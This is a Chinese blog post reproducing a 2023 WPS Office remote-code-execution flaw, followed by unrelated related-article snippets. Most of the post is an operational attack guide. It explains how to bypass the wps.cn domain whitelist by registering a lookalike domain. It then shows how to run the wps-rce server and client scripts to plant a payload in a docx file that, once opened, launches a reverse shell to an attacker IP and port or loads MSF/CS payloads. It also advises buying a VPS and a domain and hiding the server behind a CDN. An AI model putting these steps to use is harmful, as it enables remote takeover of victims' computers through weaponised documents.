【漏洞复现】2023HVV WPS Office 远程代码执行漏洞(RCE)

文章目录

  • 前言
  • 声明
  • 一、漏洞描述
  • 二、影响范围
  • 三、漏洞复现
    • 服务端的功能
    • 客户端的功能
  • 四、修复建议


前言

2023HVV期间曝出的WPS Office 存在RCE漏洞,攻击者可通过该漏洞执行任意命令,获取服务器控制权限。


声明

请勿利用文章内的相关技术从事非法测试,由于传播、利用此文所提供的信息或者工具而造成的任何直接或者间接的后果及损失,均由使用者本人负责,所产生的一切不良后果与文章作者无关。该文章仅供学习用途使用。

一、漏洞描述

Office中的WebExtension(通常称为Office插件或Office应用程序) 是一种用于扩展Microsoft Office功能的技术。Office插件使第三方开发者能够在Office应用程序中集成自己的服务和功能。这些插件采用跨平台的Web技术(如HTML,CSS和JavaScript)开发,可以在不同的平台和设备上运行。

简单理解就是Office内置了一个浏览器,可以解析html/javascript/css代码,本次的漏洞,就是WPS在处理WebExtension时,未能正确的处理javascript代码,造成了溢出RCE(可参考之前Chrome被曝出的RCE漏洞、微信Windows版<3.1.2.141存在RCE漏洞,较为类似)


二、影响范围

  • WPS Office 2023个人版 < 11.1.0.15120
  • WPS Office 2019企业版 < 11.8.2.12085

三、漏洞复现

下载漏洞环境包:
https://official-package.wpscdn.cn/wps/download/WPS_Setup_12300.exe

服务端:绑定域名 clientWeb.docer.wps.cn.****.wps.cn 并开启Web服务,同级目录下有一个html文件;
客户端:把Payload注入到一个正常的docx文件,如https://clientweb.docer.wps.cn/shell/vpsIP/9000 发送到目标主机,打开docx文件成功反弹Shell;

接下来我们在本地复现,在本地进行复现的时候需要修改hosts文件,hosts改成符合clientweb.docer.wps.cn.{****}.wps.cn 形式,hosts文件目录为C:\windows\System32\drivers\etc

在本次复现中,添加host为127.0.0.1 clientweb.docer.wps.cn.****wps.cn。如下图所示
在这里插入图片描述
开启HTTP服务
在POC目录下开启http服务,服务命令:py -3 -m http.server 80
在这里插入图片描述
浏览器访问 clientweb.docer.wps.cn.cloudwps.cn
在这里插入图片描述
打开poc.docx即可弹出计算器。
在这里插入图片描述
除了上述方法复现之外,还可通过脚本进一步对漏洞进行利用

github项目:wps-rce

  • 安装对应依赖
  • 程序需要使用python3.8以上的版本才能够正常运行

pip3 install -r requirement.txt -i https://pypi.tuna.tsinghua.edu.cn/simple
在这里插入图片描述

服务端的功能

  • 服务端在Server目录下的main.py,此python脚本的作用是用来生成html代码,同时支持生成shell、MSF、CS反弹代码
  • 需要购买域名 ****wps.cn
  • 需要购买VPS
  • 需要将域名clientwps.docer.wps.cn.***wps.cn解析到VPS上

此处运行main.py时,监听端口为80端口,需要使用root权限。
Python开启Server目录下main脚本服务
在这里插入图片描述

  • 默认情况下,为了方便和域名绑定,服务监听端口为80。
  • 如果想使用Nginx/Caddy进行反向代理,可自行修改端口。
    在这里插入图片描述
    直接访问域名解析的地址,或者VPS的端口
    在这里插入图片描述
  • 此服务端基于网上公开的POC进行开发,访问对应的地址,可以直接生成对应程序的利用代码。
  • URL对应CS和MSF的Payload列表
    在这里插入图片描述
    直接使用VPS ip可直接访问到,本地测试并绑定hosts
    在这里插入图片描述
    访问进行测试
    在这里插入图片描述
    以上环境以配置完毕,接下来准备Payload进行测试:http://clientweb.docer.wps.cn.lhhwps.cn/calc
    新建一个正常的docx文档
    在这里插入图片描述

客户端的功能

  • 客户端在Client目录下的main.py,此Python脚本的作用是用来生成docx文件的。
  • 需要提供一个正常的docx文件,攻击Payload将被插入到此docx中。
  • 需要根据上面搭建的服务端提供的URL地址,类似于
    https://clientweb.docer.wps.cn.***wps.cn/shell/127.0.0.1/9000

以上条件都已准备完毕,执行以下命令:
python3 main.py wps0day.docx http://clientweb.docer.wps.cn.lhhwps.cn/calc
在这里插入图片描述
然后将生成的新文件下载到本地,双击运行! 成功执行反弹calc。
在这里插入图片描述
除了弹calc还可利用反弹Shell
在这里插入图片描述
在浏览器上访问该路径,shell后面参数可自行修改,将修改完后的地址在脚本中生成一个新的利用docx文档
在这里插入图片描述
将生成的文件下载到本地,双击运行,成功反弹Shell
在这里插入图片描述
其他利用方式同理!!!

Tips1:本地测试

  • docx在利用的时候,需要购买***wps.cn的域名,如果没有域名,单纯的进行本地测 试,可以修改电脑的hosts文件,手动绑定域名。
  • 安装wps的有漏洞版本,修改hosts文件。
  • 修改C:\Windows\System32\drivers\etc\hosts文件,添加127.0.0.1 clientweb.docer.wps.cn.cloudwps.cn(注意,此操作是为了方便本地测试,实际利 用时必须购买域名。)
  • 注意,上面添加的hosts文件中,127.0.0.1需要根据实际情况来填,此IP为运行的 server端IP地址。如果server端就运行在本机,可以填127.0.0.1,如果运行在其他Linux 服务器上,需要确认IP地址能否正常访问。
  • 选择服务端payload,是弹计算器、反弹shell、反弹msf还是反弹cs。
  • 如果反弹shell,则生成url, http://clientweb.docer.wps.cn.cloudwps.cn/shell/1.1.1.1/9000,此处的 1.1.1.1需要修改为运行nc命令的服务器的IP,此处的IP也可以使用域名。9000需要改 为nc监听的端口。(注意,此处的IP和nc是单独的,就是为了接受shell,省事的话,可 以直接用运行服务端的服务器去运行。)
  • 使用客户端命令生成攻击docx文件,python main.py ~/Downloads/temp.docx http://clientweb.docer.wps.cn.cloudwps.cn/shell/1.1.1.1/9000
  • 将生成的wps_office_rce_***.docx文件,复制到安装wps的电脑,直接双击打开之前 在客户端中。

Tip2:漏洞利用限制

1、 购买***wps.cn的域名

  • 既然是由WebExtension中的javascript造成的,那么就需要准备对应的html文件, WebExtension支持从第三方网站加载html,所以需要在公网开启web服务,用来共享 html文件。
  • 由于wps的限制,当我们加载第三方网站的html时,wps会进行提醒,大概如下面图片。在WPS中,wps.cn的域名是在白名单中的,只要我们加载的资源在wps.cn的网站中,就 不会有这个提示。但是我们是无法控制wps.cn的。
    在这里插入图片描述
  • 在WPS中,白名单检测存在漏洞,代码中可能使用了http://.*?.wps.cn的正则匹配, 在这个匹配中,明显存在漏洞,我们只需要把html文件放在http://hackwps.cn的网站 中,就可以绕过检测。
  • 因此,想要利用这个漏洞,必须要购买一个域名,域名中只需要包含wps.cn即可,比如 hackerwps.cn、xxxwps.cn。

2.、部署html文件到vps上,并且把域名绑定到vps

  • 购买域名和vps后,需要把子域名 clientweb.docer.wps.cn.***wps.cn解析到购买的 vps上,尽量套一层cdn,再使用nginx反向代理到搭建的服务上。(具体域名/vps/cdn可 以自行学习部署。)
  • 这里的子域名,必须为 clientweb.docer.wps.cn.***wps.cn,不然无法过白名单。

四、修复建议

更新至最新版本

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.hqwc.cn/news/102332.html

如若内容造成侵权/违法违规/事实不符,请联系编程知识网进行投诉反馈email:809451989@qq.com,一经查实,立即删除!

相关文章

PostgreSQL PG15 新功能 PG_WALINSPECT

开头还是介绍一下群&#xff0c;如果感兴趣PolarDB ,MongoDB ,MySQL ,PostgreSQL ,Redis &#xff0c;Oracle ,Oceanbase 等有问题&#xff0c;有需求都可以加群群内有各大数据库行业大咖&#xff0c;CTO&#xff0c;可以解决你的问题。加群请加微信号 liuaustin3 &#xff08;…

Tomcat环境变量配置教程

1、在官网下载并解压Tomcat&#xff0c;记住解压好的目录&#xff0c;后面配置环境需要用到。 官网地址&#xff1a;Apache Tomcat - Welcome! --- 阿帕奇雄猫 - 欢迎&#xff01; 2、右键此电脑&#xff08;我的电脑&#xff09;->属性->高级系统设置->环境变量 3、…

旅游APP外包开发注意事项

旅游类APP通常具有多种功能&#xff0c;以提供给用户更好的旅行体验。以下分享常见的旅游类APP功能以及在开发和使用这些APP时需要注意的问题&#xff0c;希望对大家有所帮助。北京木奇移动技术有限公司&#xff0c;专业的软件外包开发公司&#xff0c;欢迎交流合作。 常见功能…

QT(9.4)tcp通信,数据库,opencv,

作业&#xff1a; 1.服务器 头文件&#xff1a; #ifndef WIDGET_H #define WIDGET_H#include <QWidget> #include <QTcpSocket>//客户端头文件 #include <QMessageBox>//消息对话框头文件 #include <QTcpServer>//服务器头文件 #include <list>…

NIFI实现JSON转SQL并插入到数据库表中

说明 本文中的NIFI是使用docker进行安装的&#xff0c;所有的配置参考&#xff1a;docker安装Apache NIFI 需求背景 现在有一个文件&#xff0c;里面存储的是一些json格式的数据&#xff0c;要求将文件中的数据存入数据库表中&#xff0c;以下是一些模拟的数据和对应的数据库…

知识蒸馏学习

知识蒸馏----教师和学生模型&#xff1a;将已训练完善的模型作为教师模型&#xff0c;通过控制“温度”从模型的输出结果中“蒸馏”出“知识”用于学生模型的训练&#xff0c;并希望轻量级的学生模型能够学到教师模型的“知识”&#xff0c;达到和教师模型相同的表现。 本质上属…

指针进阶(二)

指针进阶 5.函数指针6. 函数指针数组7. 指向函数指针数组的指针8. 回调函数案例&#xff1a;使用回调函数&#xff0c;模拟实现qsort&#xff08;采用冒泡的方式&#xff09;。案例&#xff1a;测试qsort排序结构体数据 5.函数指针 补&#xff1a; &函数名就是函数的地址 …

sql:SQL优化知识点记录(十二)

&#xff08;1&#xff09;读锁案例讲解 加读锁和写锁 查看是否上锁&#xff1a;In_use&#xff1a;变成了1 读写锁对我们数据产生哪些影响&#xff1a; 读锁&#xff1a;是共享锁&#xff0c;其他线程可以查看&#xff1a; 加了读锁&#xff1a;session1不能修改自己&#xf…

rhcsa学习3 文件

文件系统权限 有三种权限类别可应用&#xff1a;读取、写入和执行 查看文件和目录的权限及所有权 ls -l 显示有关权限和所有权的详细信息 长列表的第一个字符表示文件类型 - 表示常规文件、d 目录、l 软链接、其它字符代表硬件设备&#xff08;b和c&#xff09;或其他具有特殊用…

视频融合平台EasyCVR综合管理平台加密机授权报错invalid character是什么原因

视频融合平台EasyCVR综合管理平台具备视频融合汇聚能力&#xff0c;作为安防视频监控综合管理平台&#xff0c;它支持多协议接入、多格式视频流分发&#xff0c;可支持的主流标准协议有国标GB28181、RTSP/Onvif、RTMP等&#xff0c;以及支持厂家私有协议与SDK接入&#xff0c;包…

[C++]杨辉三角

目录 题目 解题思路 代码实现 获取数字 打印函数 主函数 全部代码 运行结果 题目 给定一个非负整数numRows &#xff0c;生成「杨辉三角」的前numRows行。 在「杨辉三角」中&#xff0c;每个数是它左上方和右上方的数的和。 解题思路 第k列的第i个数字的值第k-1列的(…

【漏洞复现】深信服科技EDR平台存在任意用户登录漏洞

漏洞描述 深信服终端检测响应平台EDR,通过云网端联动协同、威胁情报共享、多层级响应机制,帮助用户快速处置终端安全问题,构建轻量级、智能化、响应快的下一代终端安全系统。 该EDR系统存在任意用户登录漏洞&#xff0c;攻击者通过漏洞可以登录系统后台并获取服务器的敏感信息…